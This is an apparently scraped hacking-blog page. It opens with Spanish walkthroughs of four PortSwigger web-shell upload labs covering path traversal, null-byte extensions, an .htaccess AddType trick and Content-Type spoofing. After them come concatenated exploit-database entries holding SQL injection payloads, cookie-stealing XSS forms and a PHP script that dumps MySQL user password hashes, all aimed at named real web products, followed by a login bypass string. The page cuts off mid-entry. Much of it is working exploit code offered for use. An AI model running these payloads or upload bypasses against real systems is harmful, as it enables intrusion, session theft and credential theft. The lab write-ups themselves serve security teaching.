Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863591277

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

En este post vamos a estar resolviendo el laboratorio de PortSwigger: «Web shell upload via path traversal».

image 237

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para prevenir la ejecución de archivos suministrados por el usuario, por lo que tendremos que bypasear esta defensa.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 238
image 239

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 240

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 241

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 242
image 243

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 244
image 245
image 246

Aquí Burp Suite interceptará la petición de subida del archivo:

image 247

Teniendo esta petición, vamos a irnos a la pestaña del «Decoder» de Burp Suite y vamos a URL encodear lo siguiente:

image 248

URL encodeamos esto porque es el nombre que le vamos a poner al archivo que estamos subiendo, le cambiaremos el nombre en la propia petición. Se encodea para que los símbolos del punto y el slash, no sean eliminados o malinterpretados por el servidor.

Subiendo un archivo con este nombre, dependiendo de como lo trate el servidor, puede que consigamos que se almacene un directorio atrás del que debería, y, de esta forma, bypasear la restricción que nos indica que el servidor no ejecutará archivos suministrados por el usuario. Esta técnica de usar punto y slash, se llama Path Traversal.

Dicho esto, pasamos la petición al repeater con Ctrl R, le cambiamos el nombre y enviamos la petición:

image 249

Según la respuesta, el archivo se ha subido exitosamente y además con el nombre de ../readSecret.php. Vamos a ver esta respuesta en el navegador. Para ello, hacemos click derecho en la respuesta, clickamos en la opción de «Show response in browser» y copiamos el link que se nos genera:

image 250
image 251

Una vez llegados aquí, ya podemos desactivar el Burp Suite, ya que no haremos más uso de él.

image 252

Con esto, volvemos a nuestro perfil.

image 253

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 230

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 254
image 255

Y efectivamente, el archivo PHP que hemos subido se ha almacenado como el archivo del avatar, por eso no cargaba en el perfil, intentaba cargar una imagen cuando no lo era. Al visitar el archivo PHP, se ha interpretado el código que hemos colocado, y conseguimos leer el archivo secret. De hecho, también podríamos acceder al archivo en la siguiente ruta:

image 256

Se ha subido un directorio más atrás del que debería, por eso se interpreta y no le afecta la restricción del servidor.

Habiendo leído este archivo, ya simplemente entregamos la respuesta:

image 257
image 258

Y de esta forma, completamos el laboratorio:

image 259
image 260

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via obfuscated file extension”.

image 101

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para que no acepte ciertas extensiones.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 102
image 103

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 104

Una vez estamos en el perfil, como vemos, tenemos un campo de subida de archivos para actualizar el avatar de nuestra cuenta. Vamos a intentar aprovecharnos de esto para subir el siguiente archivo:

image 105

Antes que nada, vamos a preparar el burp suite para que intercepte las peticiones:

image 106
image 107

Una vez tenemos esta parte configurada, subimos el archivo:

image 108
image 109
image 110

Burp suite interceptará la petición de subida:

image 111

Para tratar mejor con el proceso de subida de archivos, vamos a pasar la petición al repeater pulsando Ctrl R:

image 112

Como vemos, en este caso, al darle al Send, vemos en la respuesta del servidor que solo los archivos JPG y PNG están permitidos.

Por lo que la idea va a ser introducir una doble extensión junto a un null byte para ver si podemos bypasear esta restricción:

image 113
image 114

Al enviar la petición, vemos como en la respuesta, el archivo se ha subido, no solo eso, sino que gracias al null byte, nos hemos desecho de la segunda extensión que habiamos puesto (.jpg). Por lo que con esto hecho, vamos a ver la respuesta en el navegador:

image 115
image 116
image 117
image 118

Ya no vamos a usar burp suite, por lo que desactivamos el proxy:

image 119

Una vez desactivado, nos volvemos a nuestro perfil:

image 120
image 121

Como vemos, el avatar se ha establecido, sin embargo, parece que ha ocurrido un fallo al cargar la imagen. Probablemente porque intenta cargar nuestro archivo PHP como si fuese una imagen y por eso falla. Vamos a acceder a la ruta directa de “la imagen” dandole click derecho:

image 122
image 123

Parece que nos da un problema, sin embargo, si nos fijamos en la URL, se nos intenta cargar el archivo readSecret.php%00.jpg, cuando realmente, el archivo resultante fue readSecret.php. Por lo que cambiamos la URL para acceder a este último archivo:

image 124

Y de esta forma, accedemos al código PHP y se interpreta, consiguiendo así que leamos el archivo secret.

Habiéndolo leído, ya simplemente enviamos la solución:

image 125
image 126

Y de esta forma, completamos el laboratorio:

image 127
image 128

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via extension blacklist bypass”.

image 64

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para que no acepte ciertas extensiones.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 65
image 66

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 67

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 68

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 69
image 70

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 71
image 72
image 73

Aquí Burp Suite interceptará la petición de subida del archivo:

image 74

Para tratar mejor con la petición y poder analizar de mejor manera la respuesta del servidor, vamos a pasar la petición al repeater con Ctrl R.

Una vez pasado, le damos a “Send” para ver la respuesta del servidor a la petición por defecto:

image 75

Nos dice que los archivos PHP no están permitidos. Por lo que la idea va a ser probar alternativas a la extensión de PHP para ver si no están definidas en la blacklist. En wikipedia podemos ver los tipos de extensiones asociadas a PHP:

image 76

Dicho esto, pasamos la petición del repeater al intruder pulsando Ctrl I. Una vez tengamos la petición en el intruder, le daremos al botón de clear para quitar los lugares de sustitución que se ponen por defecto:

image 77

Como lo que nos interesa es lanzar varias peticiones y que la diferencia entre cada una solo sea la extensión, declararemos un campo de sustitución en la extensión del nombre del archivo:

image 78

Con esto hecho, nos dirigiremos a la pestaña de “Payloads”:

image 79

Una vez aquí, definiremos nuestro diccionario, es decir, el diccionario que se usará para sustituir la extensión por defecto, por las definidas en el diccionario:

image 80
image 81

Una vez tengamos el diccionario de extensiones a probar hecho, nos dirigiremos a la pestaña de “Options” y a la parte de “Grep – Extract”:

image 82

Una vez aquí, estableceremos el string por el que queremos que filtre en las distintas respuestas, para que cuando no posea el string indicado, podamos detectar la respuesta en la que no lo esté rápidamente:

image 83

Una vez hecho, nos dirigiremos de nuevo a la pestaña de “Payloads” para empezar el ataque:

image 84
image 85

Se nos abrirá una nueva ventana referente al ataque:

image 86

En este caso, como podemos ver, parece que la única extensión que el servidor no permite, es la PHP. Por lo que presuntamente se han subido todas las demás. Vamos a ver la respuesta a la última petición en el navegador, para ello hacemos lo siguiente:

image 87
image 88
image 89
image 90

Una vez tengamos la respuesta, podemos desactivar el burp suite porque no haremos mas uso de él:

image 91

Con esto hecho, volvemos a nuestro perfil:

image 92

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 93

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 94
image 95

Ojo, el archivo parece que existe porque no nos da error 404, sin embargo, no se interpreta del todo ya que no ha leido el archivos que le hemos indicado que lea. No pasa nada, antes de entrar en panico vamos a probar con los demas archivos con otra extensión que hemos subido, por ejemplo, el phtml:

image 96

Este si nos lo interpreta, y de esta forma conseguimos leer el archivo secret.

Habiéndolo leído, ya simplemente entregamos la solución:

image 97
image 98

Y de esta forma, completamos el laboratorio:

image 99
image 100

Aunque lo hayamos solucionado de esta forma, la solución de PortSwigger me parece super chula e importante de comentar:

  1. Nos logueamos y subimos una imagen de nuestro avatar, con esto hecho, volvemos a la página de nuestro perfil.
  2. En el burp suite, nos dirigimos a Proxy > HTTP History. Aquí podremos ver una petición GET a la ruta /files/avatars/<archivo>. Enviamos esta respuesta al repeater.
  3. En nuestro sistema, creamos un archivo que se llame exploit.php que contenta un código que lea el contenido del archivo secret del usuario Carlos. Por ejemplo: <?php echo file_get_contents('/home/carlos/secret'); ?>
  4. Intentamos subir este archivo como nuestro avatar. La respuesta del servidor nos indicará que no se permiten archivos de extensión PHP.
  5. En el HTTP History ahora buscaremos la petición POST en la que hemos intentado subir el archivo php. En la respuesta del servidor a esta petición, nos podremos dar cuenta de que estamos tratando con un servidor apache. Dicho esto, enviamos esta petición al repeater.
  6. En la petición POST que ahora tenemos en el repeater, vamos a hacer los siguientes cambios:
    1. Cambiamos el nombre del archivo a .htaccess.
    2. Cambiamos el valor de Content-Type a text/plain
    3. Reemplazamos el contenido del archivo (el código PHP) por la siguiente directiva de apache: AddType application/x-httpd-php .l33t Esta directiva añadirá una nueva extensión al servidor, además, indicando que el tipo de MIME es application/x-httpd-php, lo que quiere decir que se comportará como un archivo PHP. Como el servidor hace uso de mod_php (módulo de PHP para apache), sabrá y entenderá lo que le estamos diciendo.
  7. Enviamos la petición, y veremos que el servidor nos indicará en la respuesta que el archivo se ha subido correctamente.
  8. Ahora volvemos a la petición original del archivo PHP, y lo único que cambiaremos será el nombre. Cambiaremos exploit.php por por ejemplo, exploit.l33t. Con esto, enviamos la petición y veremos que se ha subido correctamente.
  9. Ahora, volviendo a la petición GET del /files/avatars/<archivo> donde archivo será exploit.l33t, al hacerla, en la respuesta se nos devolverá el secret de Carlos.
  10. Mandamos la solución y laboratorio completado.

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via Content-Type restriction bypass”.

image 209

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para prevenir la subida de archivos según el Content-Type. Por lo que tendremos que bypasear esta defensa.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 210
image 211

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 212

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 213

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 214
image 215

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 216
image 217
image 218

Aquí Burp Suite interceptará la petición de subida del archivo:

image 219

Vamos a mandar la petición al repeater para tratar con ella mejor, para ello, pulsamos Ctrl R.

Una vez en el repeater, cuando le damos a “Send”, podemos ver la respuesta a la subida del archivo por parte del servidor:

image 220

En este caso, indica que los archivos cuya cabecera Content-Type sea application/x-php no están permitidos. Y que solo están permitidos los que sea image/jpeg o image/png.

Sabiendo el tipo de restricción que nos está implantando el servidor, simplemente podemos cambiar el Content-Type de nuestra petición:

image 221
image 222

Con esto, el contenido del archivo no cambia, y tampoco afectará a que se interprete. Con este cambio, volvemos a intentar la subida del archivo:

image 223

Esta vez vemos que se ha subido correctamente. Podemos ver esta respuesta en el navegador de la siguiente forma:

image 224
image 225
image 226
image 227

Una vez llegados aquí, ya podemos desactivar el Burp Suite, ya que no haremos más uso de él.

image 228

Con esto, volvemos a nuestro perfil.

image 229

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 230

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 231
image 232

Efectivamente, el archivo PHP que hemos subido se ha almacenado como el archivo del avatar, por eso no cargaba en el perfil, intentaba cargar una imagen cuando no lo era. Al visitar el archivo PHP, se ha interpretado el código que hemos colocado, y conseguimos leer el archivo secret.

Habiendo leído este archivo, ya simplemente entregamos la respuesta:

image 233
image 234

Y de esta forma, completamos el laboratorio:

image 235
image 236

source: https://www.securityfocus.com/bid/49399/info

Web Professional is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.examplecom/default.php?t=news&id=[SQL] 
            
source: https://www.securityfocus.com/bid/46932/info

Web Poll Pro is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Web Poll Pro 1.0.3 is vulnerable; other versions may also be affected. 

<form action="http://host/poll/poll.php&page=edit" method="post" name="main">
<input type="hidden" name="poll" value="1">
<input type="hidden" name="error" value=&#039;description"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.main.submit();
</script>
            
# Exploit Title: Web Ofisi Rent a Car 3 - 'klima' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/rent-a-car-v3.html
# Demo Site: http://demobul.net/rentacarv3/
# Version: v3
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: kategori[] (GET)
Payload: if(now()=sysdate(),sleep(0),0)

----- PoC 2: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: klima[] (GET)
Payload: 1 AND 3*2*1=6 AND 695=695

----- PoC 3: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: vites[] (GET)
Payload: 1 AND 3*2*1=6 AND 499=499

----- PoC 4: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: vites[] (GET)
Payload: 1 AND 3*2*1=6 AND 499=499

----- PoC 5: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: yakit[] (GET)
Payload: 1 AND 3*2*1=6 AND 602=602
            
# Exploit Title: Web Ofisi Firma Rehberi 1 - 'il' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/firma-rehberi-scripti-v1.html
# Demo Site: http://demobul.net/firma-rehberi-v1/
# Version: v1
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request:
http://localhost/[PATH]/firmalar.html?il=0&kat=&kelime=&siralama=yeni
Vulnerable Parameters: il,kelime,kat (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
            
# Exploit Title: Web Ofisi Firma 13 - 'oz' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/kurumsal-firma-v13-sinirsiz-dil.html
# Demo Site: http://demobul.net/firmav13/
# Version: v13
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----
Request: http://localhost/[PATH]/kategori/ikinci-el-klima.html?oz[]=1_1
Vulnerable Parameters: oz[] (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
            
# Exploit Title: Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/emlak-scripti-v3.html
# Demo Site: http://demobul.net/emlakv3/
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_durumu (GET)
Payload: -1' OR 3*2*1=6 AND 000744=000744 --

----- PoC 2: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_tipi (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 3: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: il (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 4: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: ilce (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --

----- PoC 5: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: kelime (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --

----- PoC 6: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: semt (GET)
Payload: -1' OR 3*2*1=6 AND 000531=000531 --
            
/*
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DNS_DHCP-WEB-INTERFACE-SQL-INJECTION.txt
[+] ISR: apparitionsec

Vendor:
====================
tmcdos / sourceforge

Product:
======================
dns_dhcp Web Interface

Download: sourceforge.net/projects/dnsmasq-mikrotik-admin/?source=directory

This is a very simple web interface for management of static DHCP leases in
DNSmasq and Mikrotik.
It generates config files for DNSmasq and uses RouterOS API to manage
Mikrotik. Network devices (usually PCs)
are separated into subnets by department and use triplets (hostname, MAC
address, IP address) for identification.
Information is stored in MySQL.

Vulnerability Type:
===================
SQL Injection

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

The 'net' HTTP form POST parameter to dns.php script is not
checked/santized and is used directly in MySQL query allowing
attacker to easily exfiltrate any data from the backend database by using
SQL Injection exploits.

1) On line 239 of dns.php
$b = str_replace('{FIRMA}',a_select('SUBNET',$_REQUEST['net']),$b);

2)
dns.php line 187 the a_select function where 2nd argument $_REQUEST['net']
is passed to an concatenated to query ($clause)
and executed on line 194 mysql_query($query).

function a_select($tbl,$clause,$field='',$where='')
{
if ($clause==0) return '&#160;';
if($field=='') $field=$tbl;
$query = "SELECT $field FROM $tbl WHERE ";
if($where=='') $query.='ID='.$clause;
else $query.=$where;
$res = mysql_query($query) or
trigger_error($query.'<br>'.mysql_error(),E_USER_ERROR);
if(mysql_num_rows($res)>0) return mysql_result($res,0,0);
else return '&#160;';
}

Exploit code(s):
===============

Run from CL...
*/

<?php
#dns_dhcp SQL Injection Exploit
#exfiltrates host, user and password from MySQL
#by hyp3rlinx
#ISR - apparitionsec
#hyp3rlinx.altervista.org
#========================


$victim="localhost";
$url="/dns_dhcp/dns/dns.php";
$port=80;
$r='';

$s = fsockopen($victim, $port, $errno, $errstr, 30);
if(!$s){echo "Cant connect to the fucking server!"; exit();}

$sql="net=1 and (select 1 from(select count(*),concat((select (select
concat(0x2b,host,0x2b,user,0x2b,password,0x2b)) from mysql.user limit
1),floor(rand(0)*2))x from mysql.user group by x)a)";

    $out = "POST $url HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($s, $out);
    fwrite($s, $sql);
    while (!feof($s)) {
        $r .= fgets($s, 128);
if(strpos($r,'Duplicate entry')!==FALSE){
$idx=strpos($r,'Duplicate entry');
echo substr($r,$idx);
break;
}
    }
    fclose($s);
/*
Example result:
Duplicate entry
'+localhost+root+*6691484EA6B50DDDE1926A220DA01FA9E575C18A+1' for key
'group_key'
*/
?>

/*
Disclosure Timeline:
===============================
Vendor Notification:  NA
May 14, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

Description:
==================================================
Request Method(s):        [+] POST

Vulnerable Product:       [+] dns_dhcp Web Interface

Vulnerable Parameter(s):  [+] 'net'
=====================================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
*/
            
# # # # # 
# Exploit Title: Flippy Inspired – Web Inspiration Gallery Script v1.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-inspired-web-inspiration-gallery-script/
# Demo: http://inspired.flippydemos.com/
# Version: 1.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/site.php?id=[SQL]
# -9999+/*!50000union*/+select+concat_ws(0x3a,username,0x3a,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+administrator--
# # # # #
            
# Exploit Title: Web Companion versions 5.1.1035.1047 - 'WCAssistantService' Unquoted Service Path
# Exploit Author: Debashis Pal
# Date: 2019-10-17
# Vendor Homepage : https://webcompanion.com
# Source: https://webcompanion.com
# Version: Web Companion versions 5.1.1035.1047
# CVE : N/A
# Tested on: Windows 7 SP1(64bit)

1. Description:
Web Companion versions 5.1.1035.1047 service 'WCAssistantService' have an unquoted service path.

2. PoC:

C:\>sc qc WCAssistantService
sc qc WCAssistantService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WCAssistantService
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : WC Assistant
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem


3. Exploit:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges of the application.

# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
            
# # # # # 
# Exploit Title: Web Based TimeSheet Script - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://qualitypointtech.net/
# Software Buy: http://www.qualitypointtech.com/webtimesheet/
# Demo: http://qualitypointtech.net/timesheetdemo/index.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username:anything Password:'or''=' and hit enter.
# # # # #
            
# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting
# Date: 2021-03-02
# Exploit Author: P.Naveen Kumar
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software : Web Based Quiz System
# Version : 1.0
# Vulnerability Type : Cross-site Scripting
# Vulnerability : Persistent/Stored XSS
# Tested on: Windows 10 Pro

# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in registration form in name parameter affected from this vulnerability.
# payload: <script>alert(document.cookie)</script>

# HTTP POST request
POST http://localhost:8080/quiz/register.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636
Content-Length: 690
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/quiz/register.php
Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er
Upgrade-Insecure-Requests: 1

-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="name"

<script>alert(document.cookie)</script>
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="email"

test123@gmail.com
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="password"

Hacker
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="college"

hello
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="submit"


-----------------------------283640616528311462411171270636--

POC:
# go to url http://localhost:8080/quiz/register.php
# then you have to fill the above payload in name/username parameter
# then fill the remaining details
# then click submit
# then login to user account
# then attempt any one quiz after attempting go to ranking section then
# you can see xss pop up there..!
            
# Exploit Title: Web Based Quiz System 1.0 - 'MCQ options' Persistent/Stored Cross-Site Scripting
# Date: 2021-03-02
# Exploit Author: Praharsh Kumar Singh
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software: Web Based Quiz System
# Version: 1.0
# Vulnerability Type: Cross-site Scripting
# Vulnerability: Persistent/Stored XSS
# Tested on: Parrot OS
 
# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in adding questions in options parameter affected from this vulnerability.
# payload: </script><script >alert(document.cookie)</script>
 
POST /onlinequiz_0/update.php?q=addqns&n=1&eid=603d2f766b0d0&ch=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/onlinequiz_0/dashboard.php?q=4&step=2&eid=603d2f766b0d0&n=1
Cookie: PHPSESSID=icctgctoho6nlqc6cbp8bftkeh
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

qns1=1&11=1&12=1&13=%3C%2Fscript%3E%3Cscript+%3Ealert%28document.cookie%29%3C%2Fscript%3E&14=1&ans1=c
 
POC:
# go to url http://localhost:8080/admin.php
# login and add question
# then put the above payload in MCQ options parameter
# then fill the remaining details
# then click add
# go to url http://localhost:8080/login.php
# then login to user account
# then attempt the quiz while attempting the quiz xss pop up there..!
            
# Exploit Title: Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated)
# Date: 04-03-2021
# Exploit Author: Deepak Kumar Bharti
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software: Web Based Quiz System
# Version: 1.0

# Tested on: Windows 10 Pro
# Union Based Sql Injection has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in Welcome page in quiz section eid parameter affected from this vulnerability.
# URL: http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34

POC:
# go to url http://localhost/login.php
# then you have to login with default creds
# then go to quiz and execute the payload ie:--
http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34
            
# Exploit Title: Web Based Online Hotel Booking System 0.1.0 - Authentication Bypass
# Date: 2020-07-03
# Exploit Author: KeopssGroup0day,Inc
